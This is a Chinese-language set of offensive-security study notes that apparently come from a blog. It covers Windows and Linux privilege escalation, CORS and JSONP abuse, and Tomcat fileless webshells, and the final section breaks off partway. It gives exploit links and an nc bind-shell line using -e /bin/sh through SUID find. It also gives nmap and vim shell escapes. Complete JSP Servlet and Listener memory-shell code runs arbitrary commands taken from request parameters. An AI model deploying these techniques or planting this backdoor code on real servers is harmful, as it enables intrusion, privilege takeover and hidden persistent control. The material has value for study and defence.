0%

系统常见命令

参考链接:https://www.cnblogs.com/kekec/p/3662125.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ipconfig /all 查询网络配置
dir 列出当前目录下的文件以及文件夹
whoami 显示当前用户
cd /d d: 进入d盘
md test 创建名为test的文件夹
copy nul 1.txt 创建空文件
type 1.txt 查看文件内容
del 1.txt 删除文件
del /f test 删除 test 文件夹下的所有文件
copy 1.txt d:\doc 将1.txt复制到 d:\doc 下
net user 查看所有用户
net user test 查看test用户信息
net user test password /add 添加用户
net user test /delete 删除 test 用户
net user test newPassword 重置 test 用户密码
tasklist 显示当前的进程信息
taskkill /im notedpad.exe 结束名为 notepad 的进程
taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号
netstat -ano 查看开启的端口连接情况
findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
sc delete 服务名 删除服务
systeminfo 查看操作系统等版本信息
netstat -ano 查看端口列表
set 环境变量

具体操作

内核溢出漏洞提权

systeminfo 根据缺失补丁进行判断

提权辅助页面:https://i.hacking8.com/tiquan/

将补丁号输入,查询可利用的 windows 提权

利用 windows-Exploit Suggester 进行检测

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

MS16-032

补丁:KB3139914

exp:https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1

注意这里是 .空格.\xxx.ps1 图片

在弹出来的 cmd 中执行 whoami 发现成功提权

服务权限配置错误

当碰到无法通过内核溢出漏洞来提权的时候可以尝试利用系统中的错误配置来进行提权,例如管理员配置错误,服务器凭证配置错误等

PowerUp

地址:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

注册表键 AlwaysInstallElevated
AlwaysInstallElevated是一个策略设置项,Windows 允许低权限用户以 system 权限运行安装文件,如果开启了这个策略的话那么任何权限的用户都能以 system权限来安装恶意 MSI

当设置了该项之后,注册表的这里会置1

图片

可信服务路径漏洞

简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe,那么我们的恶意程序就会以system权限运行

可以利用如下命令来进行检测

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """

令牌窃取

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动

SweetPotato

编译好的版本:https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato

BypassUAC

bypassUAC已经是老生长谈的话题了,用户帐户控制(UAC),它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改

msf 的payload 中有对应的 bypass 模块

什么是权限

在Linux 系统中,ls -al 即可查看列出文件所属的权限

1
2
3
4
drwxr-xr-x  2 kali kali    4096 Jan 27 12:52 Downloads
-rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html
-rw-r--r-- 1 root root 153600 May 5 09:42 flag
lrwxrwxrwx 1 kali kali 28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
1
-rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt

这里可以分为7个字段。

  • 第一组数据 -rw-r--r--
    第一位:

- : 代表普通文件

d:代表目录

l:代表软链接

b:代表块文件

c:代表字符设备

第二及后面几位,分别三个为一组:

rw-r--r-- 代表文件所属的权限

r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行

  1. rw- 表示文件所拥有者的权限。
  2. r-- 表示文件所在组的用户的权限。
  3. r-- 表示其他组的用户的权限。
  4. 第二组数据 1
    1. 如果文件类型为目录,表示目录下的字目录个数
    2. 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
  5. 第三组数据 root . 表示该文件所有者为root 用户
  6. 第四组数据root. 表示该文件所在组为root 组
  7. 第五组数据56 表示文件的大小为多少字节。如果为一个目录,则为4096。
  8. 第六组数据表示最后一次修改时间
  9. 第七组数据表示文件名称
    如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录。另外对于rwx,我们可以用数字进行替代,r=4,x=1,w=2

前置知识:

常见目录

1
2
3
4
5
6
7
8
9
这里简单说一下比较常见的目录
/bin: 里面存的都是比较基本的系统二进制命令类似 ls rm 等
/etc:其中基本都是文本文件用来设置我们的系统的,例如常见的 /etc/passwd /etc/shadow ,在 /etc/shadow 中用户的账号密码
/proc:并不存在硬盘上而是在内存中,其中记录了系统内核运行的一些信息
/usr/bin:一些应用程序的可执行部分
/usr/local/bin: 本地增加的命令,例如:python pip 等
/var/log:各种程序的日志,之前说的 apache nginx 日志就在这里面
/tmp:存放临时文件
.ssh:id_rsa.pub 公钥,id_rsa 私钥,authorized_keys授权文件,将公钥添加到 authorized_keys 中就可以不利用密码进行连接了, rsa_id.pub 和 id_rsa.pub 一般为 644 ,但是 id_rsa 一定要为 600

提权-信息搜集

要想成功提权,就要进行充分的信息搜集。

提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用

基础信息搜集

内核,操作系统,设备信息

1
2
3
4
5
6
7
uname -a    打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息

用户和群组

1
2
3
4
5
6
7
cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /etc/group 列出系统上的所有组
whoami 查看当前用户
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息

用户权限信息

1
2
3
4
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

环境信息

1
2
3
4
5
6
7
8
env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc

进程和服务

1
2
3
4
ps aux
ps -ef
top
cat /etc/services

查看以root 运行的进程

1
2
ps aux | grep root
ps -ef | grep root

查看安装的软件

1
2
ls -alh /usr/bin/
dpkg -l

日志文件

1
2
3
4
5
6
7
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log

交互式shell

1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

可提权SUID && GUID

参考:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

1
2
3
4
5
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

查看可写/执行目录

1
2
3
4
5
6
7
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

具体操作

SUID 提权

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权
P神文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

常见的可用来提权的Linux 可执行文件有:Nmap, Vim, find, bash, more, less, nano, cp

查看可以suid 提权的可执行文件

1
find / -perm -u=s -type f 2>/dev/null
1
2
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find

find一般用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。比如在DC-1靶机中就能使用find进行提权
图片

绝大部分Linux系统都自带nc,所以也可以用nc进行反弹shell之类的操作

1
find aaa - exec nc -lvp 5555 -e /bin/sh \;
  • nmap
    老版本nmap 具有交互模式,version 2.02~5.21(5.2.0)

namp -V 查看nmap 版本信息

nmap --interactive

图片

MSF中有利用 SUID nmap提权的exp,search nmap后然后利用exploit/unix/local/setuid_nmap 漏洞利用模块即可

5.2.0 之后,nmap 还可以通过执行脚本来提权。

1
2
3
4
5
6
7
# nse 脚本,shell.nse
os.execute('/bin/sh')
# nmap 提权
nmap --script=shell.nse
或者
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
  • vim
    如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。

vim /etc/shadow

vim 运行shell

1
2
3
vim
:set shell=/bin/sh
:shell

同理less和more

内核漏洞

DC-3靶机,就是利用系统内核漏洞来进行提权

图片

searchsploit Ubuntu 16.04

将exp 下载下来,解压,编译,运行,即可get root 权限。

tar xvf exploit.tar

图片

利用root无密码执行

简单来说一个脚本,这个文件可以以root身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。

比如常见的:

  • 写入一个root权限进入/etc/passwd 文件
    以DC-4为例子

图片

teehee -a 将输入的内容追加到另一个文件中

简单说下/etc/passwd 各个字段的含义

1
username:password:User ID:Group ID:comment:home directory:shell

利用环境变量提权

PATH 是Linux中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

图片

如果你在PATH变量中看到.,则意味着登录用户可以从当前目录执行二进制文件/脚本

1
2
3
4
5
6
7
8
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("cat /etc/passwd");
}
// aaa.c

图片

然后查看它的权限可以发现是有s 位,即suid。

现在我们在目标机器上用find / -perm -u=s -type f 2>/dev/null 来查看可以suid提权的文件,发现之前编译的shell可执行文件在里面

WEB前端中最常见的两种漏洞,XSS与CSRF,XSS,即跨站脚本攻击、CSRF即跨站请求伪造,这两者都有跨站,站顾名思义就是网站,而把这个概念扩大就是域。两者属于跨域安全攻击

一、 域

域,即域名对应的站点。不同的域名对应的不同的网站,相同的域名不同的端口也对应的不同的网站,因此域,从字面意思以及实际意思在web中代表的是网站

二、同源策略(SOP)

同源策略限制了从同一个源加载的资源如何与另一个源内的资源进行交互,该策略旨在阻止隔离恶意文件交互。具体表现为浏览器只允许请求当前域的资源,而对其他域的资源表示不信任。那怎么才算跨域呢?

  1. 请求协议http,https的不同
  2. domain的不同
  3. 端口port的不同

    三、跨域

跨域就如字面意思一样,跨过不同域之间的限制进行信息交互,其本质就是绕过同源策略的严格限制。究其根本是因为开发功能性与安全性会有一定的矛盾,例如有时候父域名下的不同子域名需要进行信息交互,如果还要进行同源限制,未必就有点不合时宜,所以就产生了一些跨域交流的技术。

四、跨域技术

跨域,从一个域到另一个域将其归为跨域。大致将其归结为两种情况:

1、跨域请求

2、跨域跳转

五、跨域威胁

常见的跨域威胁方面大概可分为JSONp或者Cors这两者

Cors 全称是”跨域资源共享”(Cross-origin resource sharing),具体作用就跟名字一样,主要用于跨域的资源共享信息交互。在了解具体流程时,先了解点前置知识。

  1. 简单请求:

1): 请求方式只能是:headgetpost

2): 请求头允许的字段:AcceptAccept-LanguageContent-LanguageLast-Event-IDContent-Type:application/x-www-form-urlencoded、multipart/form-data、text/plain 三选一

2.复杂请求:不满足上面的都是复杂请求

Cors可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象

简单请求:

当我们向一个不同域的网页发起简单请求时,浏览器会先对这个请求进行校对,会对请求头添加一个origin字段(谷歌游览器在非跨域情况下,也会发送origin字段)

图片

(字段里为当前域)

然后服务器对该请求进行检测,若符合要求,就能放行

图片

其中,Access-Control-Allow-Origin标识允许哪个域的请求。如果服务器不通过,根本没有这个字段,接着触发XHRonerror,再接着你就看到浏览器的提示xxx的服务器没有响应Access-Control-Allow-Origin字段

1
2
3
4
//指定允许其他域名访问
'Access-Control-Allow-Origin:http://172.20.0.206'//一般用法(*,指定域,动态设置),3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息(cookies),该值只能是true,否则不返回
'Access-Control-Allow-Credentials:true'

上面说到的Access-Control-Allow-Origin有多种设置方法:

  1. 设置*是最简单粗暴的,但是服务器出于安全考虑,肯定不会这么干,而且,如果是*的话,游览器将不会发送cookies,即使你的XHR设置了withCredentials
  2. 指定域,如上图中的http://172.20.0.206,一般的系统中间都有一个nginx,所以推荐这种
  3. 动态设置为请求域,多人协作时,多个前端对接一个后台
    withCredentials:表示XHR是否接收cookies和发送cookies,也就是说如果该值是false,响应头的Set-Cookie,浏览器也不会理,并且即使有目标站点的cookies,浏览器也不会发送

复杂请求:

最常见的情况,当我们使用putdelete请求时,浏览器会先发送option(预检)请求

预检请求

与简单请求不同的是,option请求多了2个字段:

Access-Control-Request-Method:该次请求的请求方式

Access-Control-Request-Headers:该次请求的自定义请求头字段,服务器检查通过后,做出响应:

1
2
3
4
5
6
7
8
9
10
//指定允许其他域名访问
'Access-Control-Allow-Origin:http://172.20.0.206'//一般用法(*,指定域,动态设置),3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息(cookies),该值只能是true,否则不返回
'Access-Control-Allow-Credentials:true'
//预检结果缓存时间,也就是上面说到的缓存啦
'Access-Control-Max-Age: 1800'
//允许的请求类型
'Access-Control-Allow-Methods:GET,POST,PUT,POST'
//允许的请求头字段
'Access-Control-Allow-Headers:x-requested-with,content-type'

这里有个注意点:Access-Control-Request-MethodAccess-Control-Request-Headers返回的是满足服务器要求的所有请求方式,请求头,不限于该次请求 实际案例:
以一加官网为例

登陆后,访问个人信息,然后利用burpsuite抓包,修改origin的域,发现任意域都可以被服务器接受

图片

构造exp

图片

成功利用

JSONp,全称是(JSON with Padding)。是一种简单的服务器与客户端跨域通信的办法,此种跨域只能发起GET请求。其基本思想是网页通过添加一个script元素,向服务器请求JSON数据,这种做法不受同源策略限制。服务器收到请求后,将数据放在一个指定名字的回调函数里传回来

原理:通过script标签引入一个js文件,这个js文件载入成功后会执行我们在url参数中指定的函数,并且会把我们需要的json数据作为参数传入

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}

window.onload = function () {
addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
console.log('Your public IP address is: ' + data.ip);
};
1
2
3
4
5
6
7
8
<script src="http://example.com/data.php?callback=dosomething"></script>

<script type="text/javascript">
function dosomething(jsondata){
//处理获得的json数据
}
</script>

jquery用法

1
2
3
4
5
<script type="text/javascript">
$.getJSON('http://example.com/data.php?callback=?,function(jsondata)'){
//处理获得的json数据
};
</script>

JSONP的优缺点
优点:它不像XMLHttpRequest对象实现的Ajax请求那样受到同源策略的限制;它的兼容性更好,在更加古老的浏览器中都可以运行,不需要XMLHttpRequest或ActiveX的支持;并且在请求完毕后可以通过调用callback的方式回传结果。

缺点:它只支持GET请求而不支持POST等其它类型的HTTP请求;它只支持跨域HTTP请求这种情况,不能解决不同域的两个页面之间如何进行JavaScript调用的问题

jsonp实现流程

1、服务端必须支持jsonp,且拥有jsonp跨域接口(前提)

2、浏览器客户端声明一个回调函数,其函数名作为参数值,要传递给跨域请求数据的服务器,函数形参为要获取到的返回目标数据

3、创建一个

之前入门先把Filter类型的内存马弄了下,把Servlet的也搞下

Servlet Demo

Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用)

图片

其中主要的逻辑是在Service里实现,自己随便写点

图片

其中,对应的web.xml如下配置

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--Demo-->
<servlet>
    <servlet-name>servletDemo</servlet-name>
    <servlet-class>com.java.Memory.ServletDemo</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>WEB-INF/dispatcher-servlet.xml</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>servletDemo</servlet-name>
    <url-pattern>/servlet</url-pattern>
</servlet-mapping>

注入Servlet

从前面的Servlet Demo可以看到,Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

要注入servlet,就需要在tomcat启动之后动态添加Servlet。Tomcat7之后的版本,在StandardContext中提供了动态添加Servlet类的方法:

图片

之前在Filter篇讲过Container里的四大组件分别为Engine.Host.Context和Wrapper

根据文档可知:

Engine,实现类为 org.apache.catalina.core.StandardEngine

Host,实现类为 org.apache.catalina.core.StandardHost

Context,实现类为 org.apache.catalina.core.StandardContext

Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

这里提个小插曲,针对于javaweb的三大件Listener.Servlet,Filter

这三者的启动顺序是Listener->Filter->Servlet

Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)

Servlet 生成与配置

如何创建一个Wapper,并配置好Servlet进行动态添加呢?

首先得有一个创建Wapper实例的东西,这里可以从StandardContext.createWapper()获得一个Wapper对象

图片

前面说到过,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象。

接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点

图片

图片

追溯到上一级configureStart,开始配置webconfig:

图片

webConfig() 中读取了 web.xml

图片

然后根据 web.xml 配置 context

图片

configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分

图片

图片

使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name

图片

接着配置了Servlet的Class

图片

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了

图片

图片

 取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

1
2
3
4
5
6
7
8
9
10
11
1. 通过 context.createWapper() 创建 Wapper 对象;

2. 设置 Servlet 的 LoadOnStartUp 的值;

3. 设置 Servlet 的 Name;

4. 设置 Servlet 对应的 Class;

5. 将 Servlet 添加到 context 的 children 中;

6. 将 url 路径和 servlet 类做映射。

简单的Servlet内存马

首先写一个 Servlet 恶意类,实现为 service() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
 
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
 
        }
    };
%>

获取到 StandardContext

1
2
3
4
5
6
7
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

根据之前研究的,按照步骤添加Servlet

1
2
3
4
5
6
7
8
<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

最后将 URL 路径与 Servlet 恶意类做映射

1
2
3
4
5
<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/metaStor", name);
%>

最后组合一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public static class servletTest extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
            System.out.println("doGet被调用");
            //servletResponse.getOutputStream().write("doGet被调用".getBytes());

            if (httpRequest.getParameter("c") != null) {
                System.out.println("eval");
                //String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
                String command = httpRequest.getParameter("c");
                //System.out.println(Arrays.toString(command));
                InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String output = scanner.hasNext() ? scanner.next() : "";
                httpResponse.getOutputStream().write(output.getBytes());
                httpResponse.getOutputStream().flush();
                //servletResponse.getWriter().write(output);
                //servletResponse.getWriter().flush();

            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            System.out.println("doPost被调用");
            doGet(req, resp);
        }

        @Override
        public void init() throws ServletException {
            System.out.println("servlet demo init!");
        }
    }
%>
<%
    servletTest servlet=new servletTest();
    // 一个小路径快速获得StandardContext,这两种都行,这个常用一点
    // Field reqF = request.getClass().getDeclaredField("request");
    // reqF.setAccessible(true);
    // Request req = (Request) reqF.get(request);
    // StandardContext stdcontext = (StandardContext) req.getContext();

    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext();



    org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());



    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/servlet", name);
    System.out.print("注入成功");

%>

这里把Listener的Demo一起放,稍微看了下具体原理差不多,细节改下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public  class listenerDemo implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            System.out.println("linstener Destroyed!");
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre){
            System.out.println("linstener Initialized!");
            String command = sre.getServletRequest().getParameter("fuck");
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    listenerDemo listenerdemo = new listenerDemo();
    context.addApplicationEventListener(listenerdemo);
%>

这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点

一直都在听各位师傅讨论内存马,原本孤陋寡闻只知道一句话以及不死马。这几天终于开始学习内存马,不得不说确实很难啃,先做个总结吧。

什么是内存马

内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。

落地的JSP文件十分容易被设备给检测到,从而得到攻击路径,从而删除webshell以及修补漏洞,内存马也很好的解决了这个问题

0x01 Tomcat 简介

Servlet

Servlet 是一种处理请求和发送响应的程序

Tomcat 与 Servlet 的关系

Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrappe

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
    每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

Tomcat 容器

在 Tomcat 中,每个 Host 下可以有多个 Context , 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop 或者/manager 这种,在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行等行为

图片

图片

个人理解就是,在Tomcat服务器作用下有多个Host,Host可以看做是单独的网站,每个Host也有多个Context,Context可以看做是网站里的应用,而每个Context也有多个Wrapper,Wrapper可以看做是每个应用的功能,最后每个Wrapper都有一个Servlet,Servlet就是这个功能具体的实现。

具体参考:https://www.cnblogs.com/nice0e3/p/14622879.html

0x02 内存马简单介绍

内存马主要分为以下几类:

servlet-api类

  • filter型

  • servlet型
    spring类

  • 拦截器

  • controller型
    Java Instrumentation类

  • agent型
    这里只记录filter类型的。

学过基本的javaweb都知道,在javaweb的三大件分别是Servlet,Filter和Listener。我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作

在一般情况下,用户在客户端发送请求给服务器,服务器经过处理后并不是直接转发给Servlet,而是先通过Filter或者多个Filter(也就是Filter链)进行过滤或者其他操作,才会转接到Servlet

图片

具体过程如上图所示,我们的请求会通过filter最终才会到达servlet,如果我们能够在程序运行阶段创建一个filter并能让他触发(一般是放在filter链的第一个),我们的filter就会触发。当我们在其添加恶意代码时,就可以满足我们的执行命令需求,这样就成了一个内存马

以上部分是我抽取了自认为比较重要的部分,剔除了其他比较冗杂的知识。但总体而言整个过程应该如下:

首先我们在tomcat的解析流程中,我们先了解到的是Connector,它又被称作为连接器,真正起到作用是Connector内部的ProtocolHandler处理器,这个ProtocolHandler处理器封装用户发起的网络请求所对应的Request对象,和当内部处理完返回过来的Response对象。

那么当Connector的ProtocolHandler处理器封装完Request对象之后,就会发送给Container,这个Container容器则是负责封装和管理Servlet和处理用户的servlet请求,这里所谓的Servlet请求其实就是处理Request对象,在处理请求中,起作用的角色则是Container中的Pipeline-Value管道来处理的,当Pipeline-Value处理完之后,接着就会看到一个FilterChain对象,这个对象肯定都很熟悉,因为在学习Servlet的时候是经常出现的,比如我们想要对传进来的数据先做一定的处理,然后再到Servlet对象中进行处理,这里都会用到这个FilterChain对象,最后转接到Filter

所以我们的目标很明确了,想办法动态注册一个filter,然后将其放在filter链的首位。

0x03 Tomcat Filter 流程分析

注入Filter马之前,先了解下正常Filter是怎么运行的

先自己写一个filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
